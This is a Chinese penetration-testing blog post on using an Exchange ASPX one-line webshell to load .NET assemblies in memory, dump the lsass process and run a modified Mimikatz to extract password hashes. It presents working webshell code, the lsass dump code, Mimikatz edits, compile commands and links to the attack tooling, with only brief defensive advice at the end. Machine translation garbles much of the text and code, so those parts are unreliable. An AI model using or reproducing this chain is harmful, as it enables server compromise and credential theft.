KaiWn 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在上一篇文章《渗透基础——Exchange一句话后门的实现》 介绍了两种交换一句话后门(内存加载。网程序集和文件写入),本文将要对交换一句话后门的功能进行扩展,以导出lsass进程的口令混杂为例,介绍内存加载体育课文件的实现方法,开源测试代码,分析利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: 交换一句话后门的编写 通过内存加载。网程序集实现导出lsass.exe进程的dmp文件 通过内存加载体育课文件实现内存加载米米卡茨并解析指定位置的dmp文件 开源代码 防御建议 0x02 Exchange一句话后门的编写 (1)基本的实现代码 示例代码如下: %@ Page Language='C#' %%System .反射。汇编。加载(转换FromBase64String(请求。表格['demodata']).CreateInstance("有效负载")。等于("");% 代码会判断是否带有邮政请求的参数蠕形螨,如果存在会将邮政请求中参数蠕形螨的内容作base64解密,在内存加载并调用名为有效载荷的实例 (2)冰蝎的实现代码 默认启动代码如下: % @ Page Language=' c# ' % % @ Import Namespace=' System .反射"% %会话"。Add('k ',' e45e 329 feb 5d 925 b ');字节[] k=编码默认。GetBytes(会话[0]' '),c=请求BinaryRead(请求.内容长度);组装。加载(新系统安全。密码学。rijndaelmanaged().创建解密器(k,k).TransformFinalBlock(c,0,c.Length)).create instance(“U”).等于(这个);% 提取其中使用的解密代码如下: 公共静态字符串解密(字符串,字符串密钥) { Byte[] toEncryptArray=编码10 . UTF8。GetBytes(str); Byte[] toEncryptKey=编码10 . UTF8。GetBytes(key); Byte[] resultArray=新系统安全。密码学。rijndaelmanaged().CreateDecryptor(toEncryptKey,toEncryptKey).transform final block(toEncryptArray,0,toEncryptArray .长度); 返回编码10 . UTF8。GetString(结果数组); } 参照解密代码,推出对应的加密代码如下: 公共静态字符串加密(字符串,字符串密钥) { Byte[] toEncryptArray=编码10 . UTF8。GetBytes(str); Byte[] toEncryptKey=编码10 . UTF8。GetBytes(key); //Byte[] resultArray=新系统安全。密码学。rijndaelmanaged().CreateEncryptor(toEncryptKey,toEncryptKey).transform final block(toEncryptArray,0,toEncryptArray .长度); RijndaelManaged rm=新的RijndaelManaged { 模式=密码模式。全血细胞计数, Padding=PaddingMode .PKCS7 }; ICryptoTransform cTransform=rm .CreateEncryptor(toEncryptKey,toEncryptKey); Byte[] resultArray=cTransform .transform final block(toEncryptArray,0,toEncryptArray .长度); 返回编码10 . UTF8。GetString(结果数组); } 交换下直接使用冰蝎会报错,错误原因: 只有在配置文件或页指令中将enableSessionState设置为真实的时,才能使用会话状态。也请确保系统Web . com。会话状态模块或自定义会话状态模块包含在应用程序配置的\\部分中。 这里需要修改Webshell路径对应的网页配置文件,找到位置: 去掉即可 类似的还有庞然大物 (3)修改后的实现代码 在交换下应避免使用会议传递数据,这里改用邮政请求传递数据,最终代码如下: %@页语言='C#' % % 如果(请求。表单['k']!=nullRequest .表单['数据']!=空) { 字节[]k=转换FromBase64String(请求。形式[' k ']); 字节[]c=转换FromBase64String(请求。表单[' data ']); 系统反射。程序集. Load(新系统安全。密码学。rijndaelmanaged().创建解密器(k,k).TransformFinalBlock(c,0,c.Length)).create instance(“U”).等于(这个); } % 邮政请求中的参数k作为密钥,参数数据作为加密的数据,解密后在内存加载并调用名为U的实例 接下来两节内容将介绍连接上述交换一句话后门的客户端开发细节 0x03 通过内存加载.net程序集实现导出lsass.exe进程的dmp文件 这里需要通过C#实现导出lsass.exe进程dmp文件的功能 新建文件dumplsass.cs,代码如下: 使用系统; 使用系统运行时。InteropServices 使用系统。诊断; 使用系统。木卫一; 使用系统。安全。委托人; 公共U类 { [DllImport('dbghelp.dll),EntryPoint='MiniDumpWriteDump ',calling conventi on=calling conventi on .StdCall,CharSet=CharSet .Unicode,ExactSpelling=true,SetLastError=true)] 静态extern bool MiniDumpWriteDump(IntPtr h process,uint processId,SafeHandle hFile,uint dumpType,IntPtr expParam,IntPtr userStreamParam,IntPtr callbackParam); 公共静态布尔伊斯金提格里提() { windows identity identity=windows实体.get current(); windows principal principal=新的windows principal(标识); 归还本金IsInRole(WindowsBuiltInRole .管理员); } 公共静态空的小型转储() { IntPtr targetProcessHandle=IntPtr .零; uint目标进程id=0; 过程目标过程=空 进程[]进程=进程GetProcessesByName(' lsass '); 目标进程=进程[0]; 尝试 { 目标进程id=(uint)目标进程.id; targetProcessHandle=目标进程.手柄; } 接住(例外ex) { 返回; } 字符串systemRoot=环境.获取环境变量(" SystemRoot "); string dumpFile=String .Format('{0}\\Temp\\lsass.bin ',systemRoot); using(FileStream fs=new FileStream(dump file,FileMode .创建,文件访问。读写,文件共享。写)) { MiniDumpWriteDump(targetProcessHandle,targetProcessId,fs .SafeFileHandle,(uint)2,IntPtr .零,IntPtr .零,IntPtr .零); } } 公共覆盖布尔等于(对象对象) { minidump(); 返回真实的 } } 编译生成动态链接库文件,命令如下: C:\Windows\Microsoft .NET \ framework 64 \ v 4。0 .30319 \ CSC。exe/target:库转储lsass。铯 生成的dumplsass.dll即为实现导出lsass.exe进程dmp文件的有效载荷数据 加载后获得lsass.exe进程的dmp文件,保存位置:C:\Windows\Temp\lsass.bin 0x04 通过内存加载PE文件实现内存加载Mimikatz并解析指定位置的dmp文件 这里分为两阶段: 通过C实现解析指定位置的dmp文件并提取哈希,可以在米米卡茨的基础上进行修改 通过C#实现内存加载体育课文件的功能 1.通过C++实现解析指定位置的dmp文件并提取hash 米米卡茨解析指定位置dmp文件的命令: mimikatz.exe日志seku rlsa:minidump C:\ Windows \ Temp \ lsass。bin ' ' sekurlsa:登录密码已满'退出 修改米米卡茨源码,涉及以下两部分: 手动传入命令参数,添加如下代码: argc=5; argv[1]=L ' log '; argv[2]=L ' sekurlsa:minidump C:\ \ Windows \ \ Temp \ \ lsass。bin '; argv[3]=L ' sekurlsa:登录密码已满'; argv[4]=L ' exit '; 指定日志保存路径为C:\Windows\Temp\mimikatz.log,修改以下代码: # define MIMIKATZ _ DEFAULT _ LOG L ' c:\ \ Windows \ \ Temp \ ' MIMIKATZ L ' ."日志" 编译后生成新的mimikatz.exe 2.通过C#实现内存加载PE文件的功能 使用夏普罗发电机读取新生成的mimikatz.exe,生成可用的内存加载代码夏普装载机_ x64。铯 注: 内存加载的实现细节可参考《通过.NET实现内存加载PE文件》 修改夏普装载机_ x64。铯的格式,使其能够被交换一句话后门加载,完整代码已上传至github,地址如下: https://github。com/3g student/test/blob/master/sharppel loader _ parse lsass。铯 编译生成动态链接库文件,命令如下: C:\Windows\Microsoft .NET \ framework 64 \ v 4。0 .30319 \ CSC。exe/unsafe/target:库sharppel loader _ parse lsass。铯 生成的sharppel loader _ parse lsass。动态链接库即为实现内存加载米米卡茨解析dmp文件C:\Windows\Temp\lsass.bin并将导出结果保存为C:\Windows\Temp\mimikatz.log的有效载荷数据 0x05 开源代码 完整的客户端代码已上传至github,地址如下: https://github . com/3g student/Homework-of-C-Sharp/blob/master/sharpexchangedumphash . cs 用C#开发,支持。Net3.5和更高版本 按如下方式编译该命令: C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe/unsafe/platform:x64 sharpexchangedumphash . cs 或者 C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe/unsafe/platform:x64 sharpexchangedumphash . cs 该代码支持以下三个功能: 生成,生成交换一句话后门。 获取lsass进程的dmp文件 解析dmp文件并导出散列。 连接Exchange后门时可以选择是否使用凭据登录,通信数据采用AES加密。 代码详细信息: POST请求中的参数k用作密钥,参数数据用作加密数据。 字符串Base64dumplsass是dumplsass.dll的base64编码的结果。 字符串Base64parsedump是parsedump.dll的base64编码的结果。 0x06 防御建议 对于Exchange的一字后门,不仅要判断是否写入新文件,还要判断正常页面是否插入恶意内容。 在静态分析中,您可以检查aspx文件是否包含涉及内存加载的敏感函数: 组装。负荷 组装。装载自 组装。加载文件 0x07 小结 本文对交易所一句话后门的功能进行了扩展。以导出lsass进程密码hash为例,介绍了在内存中加载PE文件的实现方法、开源测试代码、分析利用思路和防御建议。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子